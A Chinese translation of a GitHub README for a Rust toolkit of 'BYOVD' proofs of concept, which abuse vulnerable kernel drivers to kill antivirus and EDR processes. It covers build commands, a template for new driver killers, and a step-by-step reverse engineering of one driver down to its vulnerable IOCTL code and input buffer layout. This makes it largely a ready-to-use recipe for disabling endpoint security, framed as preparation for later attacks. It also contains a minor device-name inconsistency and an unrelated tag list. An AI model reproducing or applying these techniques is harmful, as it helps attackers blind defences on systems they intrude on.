BlackSnufkin/BYOVD
GitHub: BlackSnufkin/BYOVD
一个面向研究的 BYOVD PoC 集合,演示如何利用存在漏洞的内核驱动绕过 AV/EDR 检测。
Stars: 678 | Forks: 102

**BYOVD** 是一个 PoC 集合,展示了如何利用存在漏洞的驱动程序来禁用 AV/EDR 解决方案。
该集合包含未记录驱动程序以及 [LOLDDrivers](https://www.loldrivers.io/) 或 [Microsoft 的推荐驱动程序阻止规则](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/microsoft-recommended-driver-block-rules) 中已有覆盖的驱动程序。
## 📚 目录
- [🔍 概述](#-overview)
- [🏗️ 项目结构](#%EF%B8%8F-project-structure)
- [🔧 构建](#-building)
- [📦 byovd-lib](#-byovd-lib)
- [💡 POCs](#-pocs)
- [🔬 完整的驱动程序逆向工程流程(x64)](#-complete-driver-reverse-engineering-process-x64)
- [🔗 参考资料](#-references)
- [⚠️ 免责声明](#%EF%B8%8F-disclaimer)
## 🔍 概述
**BYOVD 技巧** 最近在进攻性安全领域越来越流行,尤其是在 SpyBoy 的 *Terminator*(售价 3000 美元)和 *ZeroMemoryEx Blackout* 项目发布之后。这些工具利用存在漏洞的驱动程序来禁用 AV/EDR 代理,通过降低检测概率来为后续攻击铺平道路。
本仓库包含多个为教育目的开发的 PoC,帮助研究人员理解这些驱动程序如何被滥用以终止进程。
## 🏗️ 项目结构
该项目被组织为一个 **Rust Cargo 工作区**。所有 PoC 都基于一个通用库(`byovd-lib`),该库处理样板代码:驱动服务生命周期、IOCTL 分派、进程监控和清理。每个“杀手”都是一个薄二进制文件(约 50-100 行),仅用于定义其驱动特定的配置。
```
BYOVD/
├── Cargo.toml # Workspace root
├── byovd-lib/ # Shared library
│ └── src/lib.rs
├── BdApiUtil-Killer/ # Uses byovd-lib
├── CcProtectt-Killer/ # Uses byovd-lib
├── GameDriverX64-Killer/ # Uses byovd-lib
├── GoFlyDrv-Killer/ # Uses byovd-lib
├── K7Terminator/ # Standalone (LPE + BYOVD modes)
├── Ksapi64-Killer/ # Uses byovd-lib
├── NSec-Killer/ # Uses byovd-lib
├── PoisonX-Killer/ # Uses byovd-lib
├── STProcessMonitor-Killer/ # Uses byovd-lib (combined v114 + v2618)
├── TfSysMon-Killer/ # Uses byovd-lib
├── Viragt64-Killer/ # Uses byovd-lib
└── Wsftprm-Killer/ # Uses byovd-lib
```
## 🔧 构建
**前提条件:** Rust 工具链以及带有 Windows SDK 的 Visual Studio 构建工具。
```
# 构建所有工具(发布版、优化版并剥离符号)
cargo build --release
# 构建单个工具
cargo build --release -p BdApiUtil-Killer
# 构建多个特定工具
cargo build --release -p NSec-Killer -p Wsftprm-Killer
```
二进制文件输出至 `target/release/`。在运行之前,请将对应的 `.sys` 驱动文件复制到与可执行文件相同的目录中。
## 📦 byovd-lib
`byovd-lib` 是所有 PoC(除 K7Terminator 外)所依赖的共享库。它提供以下功能:
- **`DriverConfig` 特性**:每个 PoC 实现该特性以定义其驱动名称、`.sys` 文件名、设备路径、IOCTL 代码和输入缓冲区格式。
- **`DriverManager`**:基于 RAII 的服务生命周期管理(创建、启动、停止、删除)。
- **`ServiceHandle / FileHandle`**:RAII 包装器,在释放时自动关闭 Windows 句柄。
- **`send_ioctl()`**:打开驱动设备并分发杀死 IOCTL。
- **`run_monitor()`**:持续按名称扫描目标进程,找到后发送杀死 IOCTL(可通过 Ctrl+C 停止)。
- **`run()`**:完整的 BYOVD 流程:预检检查、加载驱动、监控并杀死、清理。
- **辅助函数**:`get_pid_by_name()`、`ensure_running_as_local_system()`、`to_wstring()`。
添加一个新的驱动 PoC 非常简单——实现该特性并调用 `byovd_lib::run()`:
```
use byovd_lib::{DriverConfig, Result};
use clap::Parser;
struct MyDriver;
impl DriverConfig for MyDriver {
fn driver_name(&self) -> &str { "MyDriver" }
fn driver_file(&self) -> &str { "mydriver.sys" }
fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
fn ioctl_code(&self) -> u32 { 0xDEAD }
fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec
{
pid.to_ne_bytes().to_vec()
}
}
#[derive(Parser)]
struct Cli {
#[arg(short = 'n', long = "name", required = true)]
process_name: String,
}
fn main() -> Result<()> {
let cli = Cli::parse();
byovd_lib::run(&MyDriver, &cli.process_name, None)
}
```
可选的特性方法覆盖及其默认值:
| 方法 | 默认值 | 用途 |
|---|---|---|
| `device_access()` | `SERVICE_ALL_ACCESS` | `CreateFileW` 访问标志 |
| `skip_unload()` | `false` | 跳过驱动清理(例如卸载时导致蓝屏的驱动) |
| `ignore_ioctl_error()` | `false` | 将 IOCTL 失败视为成功(例如 NSecKrnl) |
| `ioctl_output_size()` | `0` | 预期输出缓冲区大小 |
| `preflight_check()` | `Ok(())` | 启动前验证(例如本地系统检查) |
## 💡 POCs
以下是本仓库中可用的驱动程序及其对应 PoC:
- **[BdApiUtil-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/BdApiUtil-Killer)**:针对 `BdApiUtil64.sys`(来自 `Baidu AntiVirus`,CVE-2024-51324)。
- **[CcProtect-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/CcProtect-Killer)**:针对 `CcProtect.sys`(来自 `CnCrypt`)。
- **[GameDriverX64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/GameDriverX64-Killer)**:针对 `GameDriverX64.sys`(来自 `Fedeen Games`,CVE-2025-61155)。
- **[GoFlyDrv-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/GoFlyDrv-Killer)**:针对 `GoFlyDrv.sys`(来自 `Golink`)。
- **[K7Terminator](https://github.com/BlackSnufkin/BYOVD/tree/main/K7Terminator)**:针对 `K7RKScan.sys`(来自 `K7 Computing`,CVE-2025-52915、CVE-2025-1055)——[完整分析](https://blacksnufkin.github.io/posts/BYOVD-CVE-2025-52915/)。
- **[Ksapi64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Ksapi64-Killer)**:针对 `ksapi64.sys` / `ksapi64_del.sys`(来自 `Kingsoft Corporation`)。
- **[NSec-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/NSec-Killer)**:针对 `NSecKrnl.sys`(来自 `NSEC`,ValleyRAT BYOVD 复现)。
- **[PoisonX-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/PoisonX-Killer)**:目标 `PoisonX.sys`(来自 `Microsoft`,[@j3h4ck](https://github.com/j3h4ck/PoisonKiller/) 复现)。
- **[STProcessMonitor-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/STProcessMonitor-Killer)**:针对 `STProcessMonitor.sys`(来自 `Safetica`,CVE-2025-70795,支持 v11.11.4 和 v11.26.18)。
- **[TfSysMon-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/TfSysMon-Killer)**:针对 `sysmon.sys`(来自 `ThreatFire System Monitor`)。
- **[Viragt64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Viragt64-Killer)**:针对 `viragt64.sys`(来自 `Tg Soft`)。
- **[Wsftprm-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Wsftprm-Killer)**:针对 `wsftprm.sys`(来自 `Topaz Antifraud`,CVE-2023-52271)。
## 🔬 完整的驱动程序逆向工程流程(x64)
本节使用 **TfSysMon** 驱动作为实际示例,展示从 A 到 Z 的完整逆向工程方法。该流程适用于任何 x64 Windows 内核驱动分析。
## 🎯 步骤 0:预分析——函数导入筛查
在开始逆向工程之前,先检查驱动程序的导入函数。
一个基本的进程杀手驱动需要两件事:
- 获取进程句柄的方法(例如 **ZwOpenProcess** 或 **NtOpenProcess**)
- 终止进程的方法(例如 **ZwTerminateProcess** 或 **NtTerminateProcess**)
检查驱动是否同时导入了这两种类型的函数。如果驱动导入了 Nt/ZwOpenProcess **且** Nt/ZwTerminateProcess,则它是一个潜在的进程杀手驱动候选。
只有在确认这些导入后,才应继续使用 IDA Pro 进行详细的逆向工程。
### 🛠️ x64 驱动分析所需工具
**必需工具:**
- **IDA Pro**:用于反汇编驱动进行静态分析
- **OSRLoader**:用于加载/运行驱动(替代 sc.exe 命令)
### 📍 步骤 1:定位并分析 DriverEntry
**每个 Windows 驱动都从 DriverEntry 开始——首先找到这个函数:**
在 TfSysMon 中,DriverEntry 如下所示:
```
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
unsigned __int64 v2; // rax
v2 = BugCheckParameter2;
if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL )
{
v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL;
if ( !v2 )
v2 = 0x2B992DDFA232LL;
BugCheckParameter2 = v2;
}
BugCheckParameter3 = ~v2;
return sub_17484(DriverObject);
}
```
**分析说明:**
- 代码对 BugCheckParameter2 和 BugCheckParameter3 进行了一些初始化
- 真正的驱动初始化发生在 `sub_17484` 中
- 跟进对 `sub_17484(DriverObject)` 的调用——这是实际执行驱动设置的地方
### 📍 步骤 2:跟进驱动初始化链
**导航到初始化函数(`sub_17484`):**
```
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
// ... initialization code ...
RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
if ( result < 0 )
return result;
qword_1D5D8 = 0;
dword_1D5D0 = 1;
DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
// ... rest of function ...
}
```
**关键逆向工程发现:**
- **设备名称**:`\\Device\\TfMon`(内核空间)
- **符号链接**:`\\DosDevices\\TfSysMon`(用户模式可访问为 `\\.\\TfSysMon`)
- **设备类型**:`0x22` = FILE_DEVICE_UNKNOWN
- **IRP 分派函数**:所有主函数指向 `sub_17694`
- **目标函数**:MajorFunction[14] = IRP_MJ_DEVICE_CONTROL 分派函数
### 📍 步骤 3:分析 IRP 分派函数
**导航到分派函数(`sub_17694`):**
```
__int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2)
{
struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx
unsigned int v4; // ebx
if ( a1 != DeviceObject )
{
v4 = -1073741790;
goto LABEL_20;
}
CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation;
v4 = 0;
if ( !CurrentStackLocation->MajorFunction )
{
// Handle IRP_MJ_CREATE
}
else if ( CurrentStackLocation->MajorFunction == 2 )
{
// Handle IRP_MJ_CLOSE
}
else if ( CurrentStackLocation->MajorFunction <= 0xDu )
{
goto LABEL_7;
}
else if ( CurrentStackLocation->MajorFunction <= 0xFu )
{
v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER
goto LABEL_20;
}
// ... rest of function
}
```
**逆向工程分析:**
- 首先进行设备验证(`if ( a1 != DeviceObject )`)
- `CurrentStackLocation->MajorFunction` 决定操作类型
- **关键**:主函数值 14(0xE)和 15(0xF)调用 `sub_177D8`
- 主函数 14 = IRP_MJ_DEVICE_CONTROL = IOCTL 处理
- 漏洞代码路径为:**IOCTL 请求 → sub_177D8**
### 📍 步骤 4:逆向 IOCTL 分派函数
**导航到 IOCTL 处理函数(`sub_177D8`):**
```
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
// ... variable declarations ...
v7 = *(_DWORD *)(a2 + 24); // Extract IOCTL code
MasterIrp = Irp->AssociatedIrp.MasterIrp; // Input buffer
v9 = *(unsigned int *)(a2 + 16); // InputBufferLength
v10 = *(_DWORD *)(a2 + 8); // OutputBufferLength
if ( v7 > 0xB4A00070 )
{
if ( v7 > 0xB4A000F8 )
{
if ( v7 != -1264582404 )
{
switch ( v7 )
{
// ... various cases ...
case 0xB4A00404: // VULNERABLE IOCTL CODE
if ( (unsigned int)v9 >= 0x18 )
return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
break;
// ... more cases ...
}
}
}
}
// ... rest of function
}
```
**关键逆向工程发现:**
- **IOCTL 提取**:`v7 = *(_DWORD *)(a2 + 24)` 从 IO_STACK_LOCATION 获取 IOCTL 代码
- **输入缓冲区**:`Irp->AssociatedIrp.MasterIrp` 包含用户数据
- **缓冲区长度**:`v9 = *(unsigned int *)(a2 + 16)` 获取输入缓冲区大小
- **漏洞 IOCTL**:`0xB4A00404` 导致 `sub_1837C`
- **大小检查**:仅验证缓冲区 ≥ 0x18(24 字节)——验证极弱!
### 📍 步骤 5:分析漏洞函数
**导航到进程终止函数(`sub_1837C`):**
```
__int64 __fastcall sub_1837C(__int64 a1)
{
unsigned int v2; // ebx
void *v3; // rax
unsigned int v4; // edi
NTSTATUS v6; // eax
// ... variable declarations ...
v2 = 0;
if ( MmIsAddressValid((PVOID)a1) )
{
v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4
v4 = 0;
if ( !v3 )
return 3221225485LL;
memset(&ObjectAttributes.RootDirectory, 0, 20);
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;
ClientId.UniqueThread = 0;
ObjectAttributes.Length = 48;
ClientId.UniqueProcess = v3; // SET TARGET PID
while ( 1 )
{
v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId);
v7 = v6 < 0;
v2 = v6;
if ( !v6 )
break;
v8 = v4++;
if ( v8 >= 3 )
{
v7 = v6 < 0;
break;
}
}
if ( !v7 )
{
v9 = 0;
do
{
v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS
if ( !v2 )
break;
v10 = v9++;
}
while ( v10 < 3 );
ZwClose(ProcessHandle);
}
}
return v2;
}
```
**函数分析:**
- **输入结构**:从驱动代码分析可知,缓冲区布局中 PID 位于偏移 +4
- **输入解析**:`v3 = *(void **)(a1 + 4)` 从偏移 +4 提取 PID
- **打开进程**:使用最小访问权限(1u = PROCESS_TERMINATE)调用 `ZwOpenProcess`
- **无安全检查**:未验证调用者权限或目标进程保护
- **进程终止**:直接调用 `ZwTerminateProcess`
- **重试逻辑**:对打开和终止均有多次重试
- **任意进程**:可终止 SYSTEM 账户可访问的任何进程
### 📍 步骤 6:映射完整攻击链
**完整的逆向工程流程:**
1. **入口点**:用户在 `\\.\\TfSysMon` 上调用 `DeviceIoControl`
2. **IRP 创建**:I/O 管理器创建 IRP,MajorFunction = 14
3. **分派**:`sub_17694` 路由到 `sub_177D8` 进行 IOCTL 处理
4. **IOCTL 检查**:`sub_177D8` 验证 IOCTL 代码 `0xB4A00404` 且缓冲区大小 ≥ 24 字节
5. **执行**:调用 `sub_1837C` 并传入用户输入缓冲区
6. **终止**:`sub_1837C` 从偏移 +4 提取 PID 并通过 `ZwTerminateProcess` 终止进程
**输入缓冲区结构(来自驱动逆向工程):**
```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check
```
## 🔗 参考资料
- **Alice Climent-Pommeret 的博客**:[Finding and Exploiting Process Killer Drivers with LOL for $3000](https://alice.climent-pommeret.red/posts/process-killer-driver/)
- **LOLDrivers**:[已知漏洞驱动程序集中存储库](https://www.loldrivers.io/)
- **Microsoft 驱动程序阻止规则**:[Microsoft 推荐的驱动程序阻止规则](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/microsoft-recommended-driver-block-rules)
- **《Windows Kernel Programming》** 作者:Pavel Yosifovich
- **《Windows Internals, Part 1 & 2》** 作者:Mark E. Russinovich、Alex Ionescu、David Solomon
## ⚠️ 免责声明
**BYOVD 项目仅供“教育和研究”用途**。作者不对任何误用或造成的损害负责。在使用这些工具之前,请务必获得明确授权。标签:0day挖掘, AV/EDR 绕过, BYOVD, CVE-2025-1055, CVE-2025-52915, IOCTL, LOLDDrivers, Microsoft 推荐驱动块规则, PoC, Rust, Windows 驱动, 云资产清单, 内核安全, 反取证, 可视化界面, 安全评估, 情报收集, 教育用途, 暴力破解, 漏洞研究, 漏洞驱动, 网络安全监控, 网络流量审计, 逆向工程, 通知系统, 驱动利用, 驱动发现, 驱动块规则, 驱动开发, 驱动漏洞, 驱动逆向